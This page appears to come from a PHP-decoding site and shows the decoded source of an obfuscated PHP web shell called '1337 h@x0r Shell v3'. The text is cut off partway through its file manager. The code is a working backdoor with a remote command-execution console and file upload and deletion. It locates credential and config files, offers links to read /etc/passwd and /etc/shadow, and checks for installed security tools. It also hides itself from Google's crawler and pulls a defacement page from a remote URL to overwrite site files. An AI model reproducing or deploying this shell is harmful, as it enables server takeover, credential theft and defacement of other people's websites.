Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $pca="PD9waHAKJGRlZmFjZV91cmw9J2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3hDakpRWUhIJzsKJFVzZ..

Decoded Output download

?>b'<?php
$deface_url=\'http://pastebin.com/raw/xCjJQYHH\';
$UserName="7";
$auth_pass="7";
$color="#ABEFFA";
$Theme=\'#09B5A7\';
$TabsColor=\'#0E5062\';
$default_action=\'FilesMan\';
@define(\'SELF_PATH\',__FILE__);
if(strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\')!==false){
header(\'HTTP/1.0 404 Not Found\');
exit;
}
@session_start();
@error_reporting(0);
@ini_set(\'error_log\',NULL);
@ini_set(\'display_errors\',0);
@ini_set(\'log_errors\',0);
@ini_set(\'max_execution_time\',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
if(get_magic_quotes_gpc()){
function stripslashes_array($array){
return is_array($array)?array_map(\'stripslashes_array\',$array):stripslashes($array);
}
$_POST=stripslashes_array($_POST);
}
function printLogin(){
if($_POST[\'pass\']!=$auth_pass&&$_POST[\'uname\']!=$UserName){
$status=\'Wrong Password or UserName :(\';
}
?>
<html>
<head>
<title>1337 h@x0r v3</title>
<link href="https://fonts.googleapis.com/css?family=Josefin+Sans:400,100" rel="stylesheet">
</head>
<style>
body{
font-family:Josefin Sans,sans-serif;
background:black;
color:#ABEFFF;
}
}
.loginpage{
height:400px;
width:500px;
border:1px solid;
border-color:#ABEFFF;
text-align:center;
border-radius:5px;
margin-top:100px;
}
#pageheading{
font-size:25px;
color:#ABEFFF;
margin-top:10px;
}
.loginpage img{
width:500px;
}
input{
background:black;
border-color:#ABEFFF;
border-radius:10px;
margin-top:10px;
padding:5px;
color:#ABEFFF;
}
input:hover{
background:#ABEFFF;
color:red;
}
</style>
<body>
<center>
<div class="loginpage">
<img src="http://i.imgur.com/92EAUJk.png"alt="1337 h@x0r Logo">
<div id="pageheading">1337 h@x0r Shell</div>
<form method="post">
User Name:<input type="text"name="uname"><br>
Password:<input type="password"name="pass"><br>
<input type="submit" name="login" value="Login">
<?php
if (isset($status)) {
?>
</form>
</d<p><?=$status?></p> 
</center>
</body>
</html>
<?php
}
exit;
}
if(!isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])]))
if(empty( $auth_pass )||
(isset($_POST[\'pass\']) &&($_POST[\'pass\']) == $auth_pass&& ($_POST[\'uname\']) == $UserName))
$_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true;
else
printLogin();
if(strtolower(substr(PHP_OS,0,3))=="win")
$os=\'win\';
else
$os=\'nix\';
$safe_mode=@ini_get(\'safe_mode\');
$disable_functions = @ini_get(\'disable_functions\');
$home_cwd=@getcwd();
if( isset($_POST[\'c\']))
@chdir($_POST[\'c\']);
$cwd = @getcwd();
if( $os == \'win\') {
$home_cwd=str_replace("\", "/", $home_cwd);
$cwd=str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1]!= \'/\' )
$cwd .= \'/\';
if($os==\'win\'){
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
}
else{
$aliases = array(
"List dir" => "ls -la",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate \'.conf\'",
"locate .pwd files" => "locate \'.pwd\'",
"locate .sql files" => "locate \'.sql\'",
"locate .htpasswd files" => "locate \'.htpasswd\'",
"locate .bash_history files" => "locate \'.bash_history\'",
"locate .mysql_history files" => "locate \'.mysql_history\'",
"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
}
if(isset($_POST[\'p1\']) && $_POST[\'p1\']==\'deface\') {
$def = file_get_contents($deface_url);
file_put_contents($_POST[\'c\'].$_POST[\'p2\'],$def);
}
function ex($in) {
$out = \'\';
if ( function_exists(\' exec \')) {
@exec($in,$out);
$out = @join("
",$out);
}elseif(function_exists(\'passthru\')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists(\'system\')) {
ob_start();
@system($in);
$out = ob_get_clean();
}elseif(function_exists(\'shell_exec\')) {
$out = shell_exec($in);
}elseif(is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function which($p) {
$path = ex(\'which \'.$p);
if(!empty($path))
return $path;
return false;
}
function printHeader() {
if(empty($_POST[\'charset\']))
$_POST[\'charset\'] = "UTF-8";
global $color;
global $Theme;
global $TabsColor;
echo "<html><head><link href=\'https://fonts.googleapis.com/css?family=Josefin+Sans:400,100\' rel=\'stylesheet\' type=\'text/css\'></head>";
echo \'<html>
<meta http-equiv="Content-Type" content="text/html; charset=\'.$_POST[\'charset\'].\'"><title>1337 h@x0r v3</title>
<style>
body {background-color:black;color:#fff;}
body,td,th{ font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
span,h1,a{ color:\'.$color.\' !important; }
span{ font-weight: bolder; }
h1{ padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
div.content{ padding: 0px;margin:0 0px;background: #0F1010;border:1px solid \'.$Theme.\'; border-radius:5px;}
a{ text-decoration:none; }
a:hover{ border-bottom:0px solid #5e5e5e;text-decoration:none; }
a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
.ml1{ border:1px solid \'.$Theme.\';padding:px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:\'.$Theme.\'; background:#2F2F2F;}
input, textarea, select{ margin-top:0;color:#63E1FF;background-color:black;border-radius:5px;border:1px solid \'.$Theme.\'; border-radis:5px;font: 10pt arial,"Courier New"; }
input[type="button"]:hover,input[type="submit"]:hover {background-color:#094F60;color:black;text-decoration:none;} 
form{ margin:0px; background:#0F1010;}
#toolsTbl{ text-align:center; }
.toolsInp{ width: 80%; background:black; border-radius:5px; border-color:\'.$Theme.\'; }
.main th{text-align:left;background-color:\'.$TabsColor.\';}
.main tr:hover{background:\'.$Theme.\'; border:5px solid;border-color:\'.$Theme.\';}
.main td, th{vertical-align:middle;}
.menu { height:30px; border-radius:10px;}
.menu th{padding:1px;border-radius: 5px;background:\'.$TabsColor.\'; -webkit-transform: rotate(20deg);
-moz-transform: rotate(20deg);
-o-transform: rotate(20deg);
-ms-transform: rotate(20deg);
transform: rotate(20deg);}
.menu th:hover{background:#0F1010;text-decoration: none;}
pre {font-family: Josefin Sans, sans-serif;color:#FFFFFF;}
#cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
.cpr {margin-bottom:5px;font-weight:bold; }
.cpb {width:34px;margin:0 5px;}
.npoad td {padding:0;}
#1337tools{
margin-top:50px;
width:500px;
border:1px solid;
border-radius:10px;
}
.1337logo td{
font-size:12px;
font-weight:bold;
}
.1337logo{
margin-left:5px;
background-repeat: no-repeat;
background-position: CENTER; 
background-color:#0F1010;
background-size: 400px 120px;
}
</style>
</html>
<style type="text/css">body, a:hover {text-decoration:none;cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
<script>
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(charset != null)document.mf.charset.value=charset;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = "ajax=true";
for(i=0;i<document.mf.elements.length;i++)
params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
sr("\'.$_SERVER[\'REQUEST_URI\'].\'", params);
}
function sr(url, params) {
if (window.XMLHttpRequest) {
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
} 
else if (window.ActiveXObject) {
req = new ActiveXObject("Microsoft.XMLHTTP");
if (req) {
req.onreadystatechange = processReqChange;
req.open("POST", url, true);
req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
req.send(params);
}
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
//alert(req.responseText);
var reg = new RegExp("(\d+)([\S\s]*)", "m");
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} 
else alert("Request error!");
}
</script>
<head><link href="https://fonts.googleapis.com/css?family=Audiowide" ></head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:black;"><div class="content" style="border:1px solid \'.$Theme.\'; border-radius:5px;">
<form method=post name=mf style="display:none;">
<input type=hidden name=a value="\'.(isset($_POST[\'a\'])?$_POST[\'a\']:\'\').\'">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="\'.(isset($_POST[\'p1\'])?htmlspecialchars($_POST[\'p1\']):\'\').\'">
<input type=hidden name=p2 value="\'.(isset($_POST[\'p2\'])?htmlspecialchars($_POST[\'p2\']):\'\').\'">
<input type=hidden name=p3 value="\'.(isset($_POST[\'p3\'])?htmlspecialchars($_POST[\'p3\']):\'\').\'">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
</form>\';
$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);
$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);
$totalSpace = $totalSpace?$totalSpace:1;
$disable_functions = @ini_get(\'disable_functions\');
$release = @php_uname(\'r\');
$kernel = @php_uname(\'s\');
if(!function_exists(\'posix_getegid\')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(@posix_geteuid());
$gid = @posix_getgrgid(@posix_getegid());
$user = $uid[\'name\'];
$uid = $uid[\'uid\'];
$group = $gid[\'name\'];
$gid = $gid[\'gid\'];
}
$cwd_links = \'\';
$path = explode("/", $GLOBALS[\'cwd\']);
$n=count($path);
for($i=0;$i<$n-1;$i++) {
$cwd_links .= "<a href=\'#\' onclick=\'g(\"FilesMan\",\"";
for($j=0;$j<=$i;$j++)
$cwd_links .= $path[$j].\'/\';
$cwd_links .= "\")\'>".$path[$i]."/</a>";
}
$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');
$opt_charsets = \'\';
foreach($charsets as $item)
$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';
$m = array(\'Import Scripts\'=>\'ImportScripts\',\'Jumping\'=>\'Jumping\',\'Symlink\'=>\'Symlink\',\'Domains\' => \'Domain\',\'Shared Hostings\'=>\'Shared\',\'Sym Sites\'=>\'Sym\',\'Subdomain\'=>\'Subdomain\',\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Console\'=>\'Console\',\'Safe Mode\'=>\'Bypass\',\'String tools\'=>\'StringTools\',\'Defacer\' => \'Deface\',\'Recursive Defacer\'=>\'Defacer\');
if(!empty($GLOBALS[\'auth_pass\']))
$m[\'Logout\'] = \'Logout\';
$menu = \'\';
foreach($m as $k => $v)
$menu .= \'<th><a href="#" onclick="g(\'\'.$v.\'\',null,\'\',\'\',\'\')">\'.$k.\'</a></th>\';
$drives = "";
if ($GLOBALS[\'os\'] == \'win\') {
foreach( range(\'a\',\'z\') as $drive ){
if (is_dir($drive.\':\\'))
$drives .= \'<a href="#" onclick="g(\'FilesMan\',\'\'.$drive.\':/\')">[ \'.$drive.\' ]</a> \';
}
$drives .= \'<br />: \';
}
if($GLOBALS[\'os\'] == \'nix\') {
$dominios = @file_get_contents("/etc/named.conf");
if(!$dominios) {
$DomainS = "/var/named";
$Domainonserver = scandir($DomainS);
$d0c = count($Domainonserver);
} else {
@preg_match_all(\'/.*?zone "(.*?)" {/\', $dominios, $out);
$out = sizeof(array_unique($out[1]));
$d0c = $out."Domains";
}
} else {
$d0c = "Nothing here bro:(";
}
if($GLOBALS[\'os\'] == \'nix\' )
{
$usefl = \'\'; $dwnldr = \'\';
if(!@ini_get(\'safe_mode\')) {
$temp = array();
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
foreach($userful as $item) { if(which($item)) $temp[]= $item; }
$usefl = implode(\', \',$temp);
$temp = array();
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
$dwnldr = implode(\', \',$temp);
} else {
$usefl = \' ------- \'; $dwnldr = \' ------- \';
}
} else { 
$usefl = \' ------- \'; $dwnldr = \' ------- \';
} 
echo \'<div class="1337logo"><table class="info" cellpadding="0" cellspacing="0" width="100%"><tr>
<td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="80px;"><span>Uname</span></td><td>: <nobr>\'.substr(@php_uname(), 0, 120).\'</nobr></td></tr>
<tr><td><span>User</span></td><td>: \'.$uid.\' ( \'.$user.\' ) <span>Group: </span> \'.$gid.\' ( \'.$group.\' )</td></tr><tr><td><span>Server</span></td><td>: \'.@getenv(\'SERVER_SOFTWARE\').\'</td></tr><tr><td><span>Useful</span></td><td>: \'.$usefl.\'</td></tr><tr><td><span>Downloaders</span></td><td>: \'.$dwnldr.\'</td></tr><tr><td><span>D/functions</span></td><td>: \'.($disable_functions?$disable_functions:\'All Function Enable\').\'</td></tr><tr><td><span>\'.($GLOBALS[\'os\'] == \'win\'?\'Drives<br />Cwd\':\'Cwd\').\'</span></td><td>: \'.$drives.\'\'.$cwd_links.\' \'.viewPermsColor($GLOBALS[\'cwd\']).\' <a href=# onclick="g(\'FilesMan\',\'\'.$GLOBALS[\'home_cwd\'].\'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>\'.
 \'<td width=4><nobr><span>Sv IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>\'.
 \'<td><nobr>: \'.gethostbyname($_SERVER["HTTP_HOST"]).\'<br>: \'.$_SERVER[\'REMOTE_ADDR\'].\'<br />: \'.viewSize($totalSpace).\'<br />: \'.viewSize($freeSpace).\' (\'.(int)($freeSpace/$totalSpace*100).\'%)<br>: \'.@phpversion().\' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: \'.($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=\'.$color.\'<b>OFF</b></font>\').\'<br />: \'.$d0c.\'</nobr></td></tr></table></div>\'.
 \'</div></div><div style="margin:5;background:black;"><div class="content" style="border-top:5px solid 430303;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>\'.$menu.\'</tr></table></div></div><div style="margin:5;background:black;">\';
}
function printFooter() {
$is_writable = is_writable($GLOBALS[\'cwd\'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
echo \'</div><div style="margin:5px;background:black;"><div class="content" style="border:1px solid \'.$Theme.\'; border-radius:5px;">
<table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'"><input type=submit value=">>"></form></td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>\'.$is_writable.\'</td>
<td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
<tr>
<td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method="post" ENCTYPE="multipart/form-data">
<input type=hidden name=a value="FilesMAn">
<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">
<input type=hidden name=p1 value="uploadFile">
<input type=hidden name=charset value="\'.(isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\').\'">
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>\'.$is_writable.\'</td>
</tr>
</table></div></div>
<div style="margin:5px;background:black;"><div class="content" style="border:2px solid \'.$Theme.\';text-align:center;font-weight:bold; border-radius:10px;margin:auto; width:500;">1337 h@x0r Shell v3 coded by <a href="https://www.facebook.com/EvilGenius786"> Muhammad Hassan</a></div></div>
</div>
</body></html>\';
}
if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false) ) { function posix_getgrgid($p) { return false; } }
function viewSize($s) {
if($s >= 1073741824)
return sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';
elseif($s >= 1048576)
return sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';
elseif($s >= 1024)
return sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';
else
return $s . \' B\';
}
function perms($p) {
if (($p & 0xC000) == 0xC000)$i = \'s\';
elseif (($p & 0xA000) == 0xA000)$i = \'l\';
elseif (($p & 0x8000) == 0x8000)$i = \'-\';
elseif (($p & 0x6000) == 0x6000)$i = \'b\';
elseif (($p & 0x4000) == 0x4000)$i = \'d\';
elseif (($p & 0x2000) == 0x2000)$i = \'c\';
elseif (($p & 0x1000) == 0x1000)$i = \'p\';
else $i = \'u\';
$i .= (($p & 0x0100) ? \'r\' : \'-\');
$i .= (($p & 0x0080) ? \'w\' : \'-\');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));
$i .= (($p & 0x0020) ? \'r\' : \'-\');
$i .= (($p & 0x0010) ? \'w\' : \'-\');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));
$i .= (($p & 0x0004) ? \'r\' : \'-\');
$i .= (($p & 0x0002) ? \'w\' : \'-\');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));
return $i;
}
function viewPermsColor($f) { 
if (!@is_readable($f))
return \'<font color=#FF0000><b>\'.perms(@fileperms($f)).\'</b></font>\';
elseif (!@is_writable($f))
return \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';
else
return \'<font color=#00BB00><b>\'.perms(@fileperms($f)).\'</b></font>\';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh= opendir($dir);
while (false !== ($filename = readdir($dh))) {
$files[] = $filename;
}
return $files;
}
}
function actionSecInfo() {
printHeader();
echo \'<h1>Server security information</h1><div class=content>\';
function showSecParam($n, $v) {
$v = trim($v);
if($v) {
echo \'<span>\'.$n.\': </span>\';
if(strpos($v, "
") === false)
echo $v.\'<br>\';
else
echo \'<pre class=ml1>\'.$v.\'</pre>\';
}
}
showSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));
showSecParam(\'Disabled PHP Functions\', ($GLOBALS[\'disable_functions\'])?$GLOBALS[\'disable_functions\']:\'none\');
showSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));
showSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));
showSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));
showSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');
$temp=array();
if(function_exists(\'mysql_get_client_info\'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists(\'mssql_connect\'))
$temp[] = "MSSQL";
if(function_exists(\'pg_connect\'))
$temp[] = "PostgreSQL";
if(function_exists(\'oci_connect\'))
$temp[] = "Oracle";
showSecParam(\'Supported databases\', implode(\', \', $temp));
echo \'<br>\';
if( $GLOBALS[\'os\'] == \'nix\' ) {
$userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');
$danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');
$downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');
showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"/etc/\", \"passwd\")\'>[view]</a>":\'no\');
showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\"FilesTools\", \"etc\", \"shadow\")\'>[view]</a>":\'no\');
showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));
showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));
if(!$GLOBALS[\'safe_mode\']) {
echo \'<br>\';
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Userful\', implode(\', \',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
showSecParam(\'Danger\', implode(\', \',$temp));
$temp=array();
foreach ($downloaders as $item) 
if(which($item)){$temp[]=$item;}
showSecParam(\'Downloaders\', implode(\', \',$temp));
echo \'<br/>\';
showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));
showSecParam(\'HDD space\', ex(\'df -h\'));
showSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));
}
} else {
showSecParam(\'OS Version\',ex(\'ver\')); 
showSecParam(\'Account Settings\',ex(\'net accounts\')); 
showSecParam(\'User Accounts\',ex(\'net user\'));
}
echo \'</div>\';
printFooter();
}
function actionFilesMan() {
printHeader();
echo \'<h1>File manager</h1><div class=content>\';
if(isset($_POST[\'p1\']) && $_POST[\'p1\']!=\'deface\') {
switch($_POST[\'p1\']) {
case \'uploadFile\':
if(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))
echo "Can\'t upload file!";
break;
break;
case \'mkdir\':
if(!@mkdir($_POST[\'p2\']))
echo "Can\'t create new dir";
break;
case \'delete\':
function deleteDir($path) {
$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';
$dh= opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
rmdir($path);
}
if(is_array(@$_POST[\'f\']))
foreach($_POST[\'f\'] as $f) {
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case \'paste\':
if($_SESSION[\'act\'] == \'copy\') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
copy_paste($_SESSION[\'cwd\'],$f, $GLOBALS[\'cwd\']);
} elseif($_SESSION[\'act\'] == \'move\') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = opendir($c.$s);
while (($f = readdir($h)) !== false)
if (($f != ".") and ($f != "..")) {
copy_paste($c.$s.\'/\',$f, $d.$s.\'/\');
}
} elseif(is_file($c.$s)) {
@copy($c.$s, $d.$s);
}
}
foreach($_SESSION[\'f\'] as $f)
@rename($_SESSION[\'cwd\'].$f, $GLOBALS[\'cwd\'].$f);
}
unset($_SESSION[\'f\']);
break;
default:
if(!empty($_POST[\'p1\']) && (($_POST[\'p1\'] == \'copy\')||($_POST[\'p1\'] == \'move\')) ) {
$_SESSION[\'act\'] = @$_POST[\'p1\'];
$_SESSION[\'f\'] = @$_POST[\'f\'];
foreach($_SESSION[\'f\'] as $k => $f)
$_SESSION[\'f\'][$k] = urldecode($f);
$_SESSION[\'cwd\'] = @$_POST[\'c\'];
}
break;
}
echo \'<script>document.mf.p1.value="";document.mf.p2.value="";</script>\';
}
$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);
if($dirContent === false) {echo \'Can\'t open this folder!\'; return;}
global $sort;
$sort = array(\'name\', 1);
if(!empty($_POST[\'p1\'])) {
if(preg_match(\'!s_([A-z]+)_(\d{1})!\', $_POST[\'p1\'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo \'<script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == \'checkbox\')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
<form name=files method=post>\';
echo "<tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")\'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = $links = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array(\'name\' => $dirContent[$i],
 \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],
 \'modify\' => @date(\'Y-m-d H:i:s\',@filemtime($GLOBALS[\'cwd\'].$dirContent[$i])),
 \'perms\' => viewPermsColor($GLOBALS[\'cwd\'].$dirContent[$i]),
 \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),
